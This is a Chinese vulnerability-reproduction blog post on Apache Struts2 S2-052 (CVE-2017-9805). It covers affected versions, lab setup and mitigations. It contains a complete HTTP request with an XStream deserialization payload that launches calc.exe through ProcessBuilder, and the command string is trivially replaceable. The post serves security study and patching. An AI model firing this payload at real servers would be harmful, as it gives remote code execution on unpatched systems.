zoukankan      html  css  js  c++  java
  • 【漏洞复现】S2-052 (CVE-2017-9805)

    一、漏洞描述

             Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行。

    二、受影响版本

             Struts2.5 – Struts2.5.12版本

             Struts2.3.33版本

    三、漏洞POC

    POST /struts2-rest-showcase/orders/3/edit HTTP/1.1
    Host: localhost:8888
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    DNT: 1
    Referer: http://localhost:8888/struts2-rest-showcase/orders.xhtml
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
    Cookie: JSESSIONID=3B1C6366CDF4E1B8D47B5FA91B5452B8
    Connection: close
    Content-Type: application/xml
    Content-Length: 1517
     
    
    <map> 
    <entry> 
    <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    </entry> 
    </map>

    四、漏洞复现

    漏洞环境包

    从struts2的官网下载最后受影响的版本struts-2.5.12,地址: 

    http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip

    注意下载struts-2.5.12-apps即可,不需要下载struts-2.5.12-all.zip。不然struts-2.5.12-all.zip中包含很多其他的东西。 

    Tomcat环境部署

    直接使用XAMPP软件。可一键部署Struts环境的部署。

     

    注意:启动Tomcat时可能出现错误打不开,发现是端口被占用,通过查看进程,发现是由于burpsuit默认监听的端口也是8080,在启动burpsuit时会打不开Tomcat,解决办法:修改burpsuit的监听端口。

    启动之后访问127.0.0.1:8080,出现以下页面表示环境搭建成功。

    漏洞环境部署

    拿到struts-2.5.12-apps之后,将其中的app目录下的struts2-rest-showcase.war文件放到webapps目录下,然后设置一下conf/server.xml文件即可。 

     

    这里把appBase设置为webapps目录,然后unpackWARs设置为true,这样就会自动解包xxx.war,autoDeploy也设置为true(热部署?) 然后就可以浏览器访问了。

     

    漏洞复现

    之后点击任意一个进行编辑,点击提交post数据,使用burpsuit进行拦截抓包。将请求中的Content-Type的值改为 application/xml,然后POST的数据用PoC中的xml内容代替。

    可以看到,返回页面显示报错信息,并成功弹出计算器。

     

    五、解决方案

          1、升级到Apache Struts版本2.5.13

          2、最好的选择是在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:

    <constant name="struts.action.extension" value="xhtml,,json" />

          3、限制服务端扩展类型,删除XML支持。

          由于应用的可用类的默认限制,某些REST操作可能会停止工作。在这种情况下,请调查介绍的新接口以允许每个操作定义类限制,那些接口是:

    org.apache.struts2.rest.handler.AllowedClasses

    org.apache.struts2.rest.handler.AllowedClassNames

    org.apache.struts2.rest.handler.XStreamPermissionProvider

    笨鸟先飞早入林,笨人勤学早成材。
    转载请注明出处: 撰写人:fox-yu http://www.cnblogs.com/fox-yu/
  • 相关阅读:
    POJ 2236 Wireless Network(并查集)
    POJ 2010 Moo University
    POJ 3614 Sunscreen(贪心,区间单点匹配)
    POJ 2184 Cow Exhibition(背包)
    POJ 1631 Bridging signals(LIS的等价表述)
    POJ 3181 Dollar Dayz(递推,两个long long)
    POJ 3046 Ant Counting(递推,和号优化)
    POJ 3280 Cheapest Palindrome(区间dp)
    POJ 3616 Milking Time(dp)
    POJ 2385 Apple Catching(01背包)
  • 原文地址:https://www.cnblogs.com/fox-yu/p/7867432.html
Copyright © 2011-2022 走看看